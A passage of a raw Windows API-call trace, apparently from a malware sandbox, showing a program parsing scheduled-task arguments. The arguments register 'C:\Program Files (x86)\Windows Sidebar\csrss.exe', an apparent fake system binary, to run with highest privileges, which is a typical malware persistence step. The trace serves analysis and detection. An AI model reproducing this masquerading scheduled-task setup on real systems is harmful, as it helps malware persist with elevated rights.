_Size=0x7) returned 0 [0057.667] lstrlenW (lpString="tr") returned 2 [0057.667] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.667] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|run|") returned 5 [0057.667] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tr|") returned 4 [0057.667] lstrlenW (lpString="|run|") returned 5 [0057.667] lstrlenW (lpString="|tr|") returned 4 [0057.667] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0057.667] SetLastError (dwErrCode=0x490) [0057.667] lstrlenW (lpString="end") returned 3 [0057.667] lstrlenW (lpString="end") returned 3 [0057.667] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.667] lstrlenW (lpString="tr") returned 2 [0057.667] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.667] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|end|") returned 5 [0057.667] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tr|") returned 4 [0057.667] lstrlenW (lpString="|end|") returned 5 [0057.667] lstrlenW (lpString="|tr|") returned 4 [0057.667] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0057.667] SetLastError (dwErrCode=0x490) [0057.668] lstrlenW (lpString="showsid") returned 7 [0057.668] lstrlenW (lpString="showsid") returned 7 [0057.668] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.668] lstrlenW (lpString="tr") returned 2 [0057.668] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.668] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|showsid|") returned 9 [0057.668] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|tr|") returned 4 [0057.668] lstrlenW (lpString="|showsid|") returned 9 [0057.668] lstrlenW (lpString="|tr|") returned 4 [0057.668] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0057.668] SetLastError (dwErrCode=0x490) [0057.668] SetLastError (dwErrCode=0x490) [0057.668] SetLastError (dwErrCode=0x0) [0057.668] lstrlenW (lpString="/tr") returned 3 [0057.668] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0057.668] SetLastError (dwErrCode=0x490) [0057.668] SetLastError (dwErrCode=0x0) [0057.668] lstrlenW (lpString="/tr") returned 3 [0057.668] GetProcessHeap () returned 0x60000 [0057.668] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x8) returned 0x7c410 [0057.668] GetProcessHeap () returned 0x60000 [0057.668] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ce10 [0057.668] SetLastError (dwErrCode=0x0) [0057.668] SetLastError (dwErrCode=0x0) [0057.668] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.668] lstrlenW (lpString="-/") returned 2 [0057.668] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0057.668] SetLastError (dwErrCode=0x490) [0057.668] SetLastError (dwErrCode=0x490) [0057.668] SetLastError (dwErrCode=0x0) [0057.668] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.668] StrChrIW (lpStart="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Windows Sidebar\\csrss.exe'" [0057.669] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.669] GetProcessHeap () returned 0x60000 [0057.669] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7c430 [0057.669] _memicmp (_Buf1=0x7c430, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.669] GetProcessHeap () returned 0x60000 [0057.669] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7c450 [0057.669] GetProcessHeap () returned 0x60000 [0057.669] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x18) returned 0x7d640 [0057.669] _memicmp (_Buf1=0x7d640, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.669] GetProcessHeap () returned 0x60000 [0057.669] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x68) returned 0x7de10 [0057.669] SetLastError (dwErrCode=0x7a) [0057.669] SetLastError (dwErrCode=0x0) [0057.669] SetLastError (dwErrCode=0x0) [0057.669] lstrlenW (lpString="'C") returned 2 [0057.669] lstrlenW (lpString="-/") returned 2 [0057.669] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0057.669] SetLastError (dwErrCode=0x490) [0057.669] SetLastError (dwErrCode=0x490) [0057.669] SetLastError (dwErrCode=0x0) [0057.669] lstrlenW (lpString="'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'") returned 50 [0057.669] GetProcessHeap () returned 0x60000 [0057.669] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x66) returned 0x7de80 [0057.669] GetProcessHeap () returned 0x60000 [0057.669] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ce40 [0057.669] SetLastError (dwErrCode=0x0) [0057.669] SetLastError (dwErrCode=0x0) [0057.669] lstrlenW (lpString="/rl") returned 3 [0057.669] lstrlenW (lpString="-/") returned 2 [0057.669] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.669] lstrlenW (lpString="?") returned 1 [0057.669] lstrlenW (lpString="?") returned 1 [0057.669] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.669] lstrlenW (lpString="rl") returned 2 [0057.670] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.670] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|?|") returned 3 [0057.670] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|rl|") returned 4 [0057.670] lstrlenW (lpString="|?|") returned 3 [0057.670] lstrlenW (lpString="|rl|") returned 4 [0057.670] SetLastError (dwErrCode=0x490) [0057.670] lstrlenW (lpString="create") returned 6 [0057.670] lstrlenW (lpString="create") returned 6 [0057.670] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.670] lstrlenW (lpString="rl") returned 2 [0057.670] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.670] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|create|") returned 8 [0057.670] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|rl|") returned 4 [0057.670] lstrlenW (lpString="|create|") returned 8 [0057.670] lstrlenW (lpString="|rl|") returned 4 [0057.670] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0057.670] SetLastError (dwErrCode=0x490) [0057.670] lstrlenW (lpString="delete") returned 6 [0057.670] lstrlenW (lpString="delete") returned 6 [0057.670] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.670] lstrlenW (lpString="rl") returned 2 [0057.670] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.670] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|delete|") returned 8 [0057.670] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|rl|") returned 4 [0057.670] lstrlenW (lpString="|delete|") returned 8 [0057.670] lstrlenW (lpString="|rl|") returned 4 [0057.670] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0057.670] SetLastError (dwErrCode=0x490) [0057.670] lstrlenW (lpString="query") returned 5 [0057.670] lstrlenW (lpString="query") returned 5 [0057.671] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.671] lstrlenW (lpString="rl") returned 2 [0057.671] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.671] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|query|") returned 7 [0057.671] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|rl|") returned 4 [0057.671] lstrlenW (lpString="|query|") returned 7 [0057.671] lstrlenW (lpString="|rl|") returned 4 [0057.671] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0057.671] SetLastError (dwErrCode=0x490) [0057.671] lstrlenW (lpString="change") returned 6 [0057.671] lstrlenW (lpString="change") returned 6 [0057.671] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.671] lstrlenW (lpString="rl") returned 2 [0057.671] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.671] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|change|") returned 8 [0057.671] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|rl|") returned 4 [0057.671] lstrlenW (lpString="|change|") returned 8 [0057.671] lstrlenW (lpString="|rl|") returned 4 [0057.671] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0057.671] SetLastError (dwErrCode=0x490) [0057.671] lstrlenW (lpString="run") returned 3 [0057.671] lstrlenW (lpString="run") returned 3 [0057.671] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.671] lstrlenW (lpString="rl") returned 2 [0057.671] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.671] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|run|") returned 5 [0057.671] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|rl|") returned 4 [0057.671] lstrlenW (lpString="|run|") returned 5 [0057.671] lstrlenW (lpString="|rl|") returned 4 [0057.672] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0057.672] SetLastError (dwErrCode=0x490) [0057.672] lstrlenW (lpString="end") returned 3 [0057.672] lstrlenW (lpString="end") returned 3 [0057.672] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.672] lstrlenW (lpString="rl") returned 2 [0057.672] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.672] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|end|") returned 5 [0057.672] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|rl|") returned 4 [0057.672] lstrlenW (lpString="|end|") returned 5 [0057.672] lstrlenW (lpString="|rl|") returned 4 [0057.672] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0057.672] SetLastError (dwErrCode=0x490) [0057.672] lstrlenW (lpString="showsid") returned 7 [0057.672] lstrlenW (lpString="showsid") returned 7 [0057.672] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.672] lstrlenW (lpString="rl") returned 2 [0057.672] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.672] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|showsid|") returned 9 [0057.672] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|rl|") returned 4 [0057.672] lstrlenW (lpString="|showsid|") returned 9 [0057.672] lstrlenW (lpString="|rl|") returned 4 [0057.672] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0057.672] SetLastError (dwErrCode=0x490) [0057.672] SetLastError (dwErrCode=0x490) [0057.672] SetLastError (dwErrCode=0x0) [0057.672] lstrlenW (lpString="/rl") returned 3 [0057.672] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0057.672] SetLastError (dwErrCode=0x490) [0057.672] SetLastError (dwErrCode=0x0) [0057.672] lstrlenW (lpString="/rl") returned 3 [0057.672] GetProcessHeap () returned 0x60000 [0057.672] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x8) returned 0x7def0 [0057.673] GetProcessHeap () returned 0x60000 [0057.673] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ce70 [0057.673] SetLastError (dwErrCode=0x0) [0057.673] SetLastError (dwErrCode=0x0) [0057.673] lstrlenW (lpString="HIGHEST") returned 7 [0057.673] lstrlenW (lpString="-/") returned 2 [0057.673] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0057.673] SetLastError (dwErrCode=0x490) [0057.673] SetLastError (dwErrCode=0x490) [0057.673] SetLastError (dwErrCode=0x0) [0057.673] lstrlenW (lpString="HIGHEST") returned 7 [0057.673] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0057.673] SetLastError (dwErrCode=0x490) [0057.673] SetLastError (dwErrCode=0x0) [0057.673] lstrlenW (lpString="HIGHEST") returned 7 [0057.673] GetProcessHeap () returned 0x60000 [0057.673] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x10) returned 0x7d660 [0057.673] GetProcessHeap () returned 0x60000 [0057.673] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cea0 [0057.673] SetLastError (dwErrCode=0x0) [0057.673] SetLastError (dwErrCode=0x0) [0057.673] lstrlenW (lpString="/f") returned 2 [0057.673] lstrlenW (lpString="-/") returned 2 [0057.673] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.673] lstrlenW (lpString="?") returned 1 [0057.673] lstrlenW (lpString="?") returned 1 [0057.673] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.673] lstrlenW (lpString="f") returned 1 [0057.673] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.673] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|?|") returned 3 [0057.673] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|f|") returned 3 [0057.673] lstrlenW (lpString="|?|") returned 3 [0057.673] lstrlenW (lpString="|f|") returned 3 [0057.673] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0057.674] SetLastError (dwErrCode=0x490) [0057.674] lstrlenW (lpString="create") returned 6 [0057.674] lstrlenW (lpString="create") returned 6 [0057.674] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.674] lstrlenW (lpString="f") returned 1 [0057.674] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.674] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|create|") returned 8 [0057.674] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|f|") returned 3 [0057.674] lstrlenW (lpString="|create|") returned 8 [0057.674] lstrlenW (lpString="|f|") returned 3 [0057.674] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0057.674] SetLastError (dwErrCode=0x490) [0057.674] lstrlenW (lpString="delete") returned 6 [0057.674] lstrlenW (lpString="delete") returned 6 [0057.674] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.674] lstrlenW (lpString="f") returned 1 [0057.674] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.674] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|delete|") returned 8 [0057.674] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|f|") returned 3 [0057.674] lstrlenW (lpString="|delete|") returned 8 [0057.674] lstrlenW (lpString="|f|") returned 3 [0057.674] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0057.674] SetLastError (dwErrCode=0x490) [0057.674] lstrlenW (lpString="query") returned 5 [0057.674] lstrlenW (lpString="query") returned 5 [0057.674] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.674] lstrlenW (lpString="f") returned 1 [0057.674] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.674] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|query|") returned 7 [0057.674] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|f|") returned 3 [0057.675] lstrlenW (lpString="|query|") returned 7 [0057.675] lstrlenW (lpString="|f|") returned 3 [0057.675] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0057.675] SetLastError (dwErrCode=0x490) [0057.675] lstrlenW (lpString="change") returned 6 [0057.675] lstrlenW (lpString="change") returned 6 [0057.675] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.675] lstrlenW (lpString="f") returned 1 [0057.675] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.675] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|change|") returned 8 [0057.675] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|f|") returned 3 [0057.675] lstrlenW (lpString="|change|") returned 8 [0057.675] lstrlenW (lpString="|f|") returned 3 [0057.675] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0057.675] SetLastError (dwErrCode=0x490) [0057.675] lstrlenW (lpString="run") returned 3 [0057.675] lstrlenW (lpString="run") returned 3 [0057.675] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.675] lstrlenW (lpString="f") returned 1 [0057.675] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.675] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|run|") returned 5 [0057.675] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|f|") returned 3 [0057.675] lstrlenW (lpString="|run|") returned 5 [0057.675] lstrlenW (lpString="|f|") returned 3 [0057.675] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0057.675] SetLastError (dwErrCode=0x490) [0057.675] lstrlenW (lpString="end") returned 3 [0057.675] lstrlenW (lpString="end") returned 3 [0057.675] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.675] lstrlenW (lpString="f") returned 1 [0057.675] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.676] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|end|") returned 5 [0057.676] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|f|") returned 3 [0057.676] lstrlenW (lpString="|end|") returned 5 [0057.676] lstrlenW (lpString="|f|") returned 3 [0057.676] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0057.676] SetLastError (dwErrCode=0x490) [0057.676] lstrlenW (lpString="showsid") returned 7 [0057.676] lstrlenW (lpString="showsid") returned 7 [0057.676] _memicmp (_Buf1=0x7c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.676] lstrlenW (lpString="f") returned 1 [0057.676] _memicmp (_Buf1=0x7c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.676] _vsnwprintf (in: _Buffer=0x7c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|showsid|") returned 9 [0057.676] _vsnwprintf (in: _Buffer=0x7c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f358 | out: _Buffer="|f|") returned 3 [0057.676] lstrlenW (lpString="|showsid|") returned 9 [0057.676] lstrlenW (lpString="|f|") returned 3 [0057.676] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0057.676] SetLastError (dwErrCode=0x490) [0057.676] SetLastError (dwErrCode=0x490) [0057.676] SetLastError (dwErrCode=0x0) [0057.676] lstrlenW (lpString="/f") returned 2 [0057.676] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0057.676] SetLastError (dwErrCode=0x490) [0057.676] SetLastError (dwErrCode=0x0) [0057.676] lstrlenW (lpString="/f") returned 2 [0057.676] GetProcessHeap () returned 0x60000 [0057.676] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x6) returned 0x7df10 [0057.676] GetProcessHeap () returned 0x60000 [0057.676] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ced0 [0057.676] SetLastError (dwErrCode=0x0) [0057.676] GetProcessHeap () returned 0x60000 [0057.676] GetProcessHeap () returned 0x60000 [0057.676] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c320) returned 1 [0057.676] GetProcessHeap () returned 0x60000 [0057.677] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c320) returned 0x8 [0057.677] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c320 | out: hHeap=0x60000) returned 1 [0057.677] GetProcessHeap () returned 0x60000 [0057.677] GetProcessHeap () returned 0x60000 [0057.677] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd50) returned 1 [0057.677] GetProcessHeap () returned 0x60000 [0057.677] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cd50) returned 0x20 [0057.678] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd50 | out: hHeap=0x60000) returned 1 [0057.678] GetProcessHeap () returned 0x60000 [0057.678] GetProcessHeap () returned 0x60000 [0057.678] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3b0) returned 1 [0057.678] GetProcessHeap () returned 0x60000 [0057.678] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c3b0) returned 0xc [0057.678] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3b0 | out: hHeap=0x60000) returned 1 [0057.678] GetProcessHeap () returned 0x60000 [0057.678] GetProcessHeap () returned 0x60000 [0057.678] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd80) returned 1 [0057.678] GetProcessHeap () returned 0x60000 [0057.678] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cd80) returned 0x20 [0057.680] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd80 | out: hHeap=0x60000) returned 1 [0057.680] GetProcessHeap () returned 0x60000 [0057.680] GetProcessHeap () returned 0x60000 [0057.680] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3d0) returned 1 [0057.680] GetProcessHeap () returned 0x60000 [0057.680] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c3d0) returned 0x8 [0057.680] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3d0 | out: hHeap=0x60000) returned 1 [0057.680] GetProcessHeap () returned 0x60000 [0057.680] GetProcessHeap () returned 0x60000 [0057.680] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cdb0) returned 1 [0057.680] GetProcessHeap () returned 0x60000 [0057.680] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cdb0) returned 0x20 [0057.681] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cdb0 | out: hHeap=0x60000) returned 1 [0057.681] GetProcessHeap () returned 0x60000 [0057.681] GetProcessHeap () returned 0x60000 [0057.681] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3f0) returned 1 [0057.681] GetProcessHeap () returned 0x60000 [0057.681] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c3f0) returned 0x10 [0057.681] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3f0 | out: hHeap=0x60000) returned 1 [0057.681] GetProcessHeap () returned 0x60000 [0057.681] GetProcessHeap () returned 0x60000 [0057.681] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cde0) returned 1 [0057.681] GetProcessHeap () returned 0x60000 [0057.681] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cde0) returned 0x20 [0057.682] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cde0 | out: hHeap=0x60000) returned 1 [0057.682] GetProcessHeap () returned 0x60000 [0057.682] GetProcessHeap () returned 0x60000 [0057.683] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c410) returned 1 [0057.683] GetProcessHeap () returned 0x60000 [0057.683] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c410) returned 0x8 [0057.683] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c410 | out: hHeap=0x60000) returned 1 [0057.683] GetProcessHeap () returned 0x60000 [0057.683] GetProcessHeap () returned 0x60000 [0057.683] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce10) returned 1 [0057.683] GetProcessHeap () returned 0x60000 [0057.683] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ce10) returned 0x20 [0057.683] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce10 | out: hHeap=0x60000) returned 1 [0057.683] GetProcessHeap () returned 0x60000 [0057.683] GetProcessHeap () returned 0x60000 [0057.683] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7de80) returned 1 [0057.683] GetProcessHeap () returned 0x60000 [0057.683] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7de80) returned 0x66 [0057.684] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7de80 | out: hHeap=0x60000) returned 1 [0057.684] GetProcessHeap () returned 0x60000 [0057.684] GetProcessHeap () returned 0x60000 [0057.684] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce40) returned 1 [0057.684] GetProcessHeap () returned 0x60000 [0057.684] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ce40) returned 0x20 [0057.685] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce40 | out: hHeap=0x60000) returned 1 [0057.685] GetProcessHeap () returned 0x60000 [0057.685] GetProcessHeap () returned 0x60000 [0057.685] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7def0) returned 1 [0057.685] GetProcessHeap () returned 0x60000 [0057.685] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7def0) returned 0x8 [0057.685] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7def0 | out: hHeap=0x60000) returned 1 [0057.685] GetProcessHeap () returned 0x60000 [0057.685] GetProcessHeap () returned 0x60000 [0057.685] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce70) returned 1 [0057.685] GetProcessHeap () returned 0x60000 [0057.685] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ce70) returned 0x20 [0057.686] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce70 | out: hHeap=0x60000) returned 1 [0057.686] GetProcessHeap () returned 0x60000 [0057.686] GetProcessHeap () returned 0x60000 [0057.686] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d660) returned 1 [0057.686] GetProcessHeap () returned 0x60000 [0057.686] RtlSizeHeap 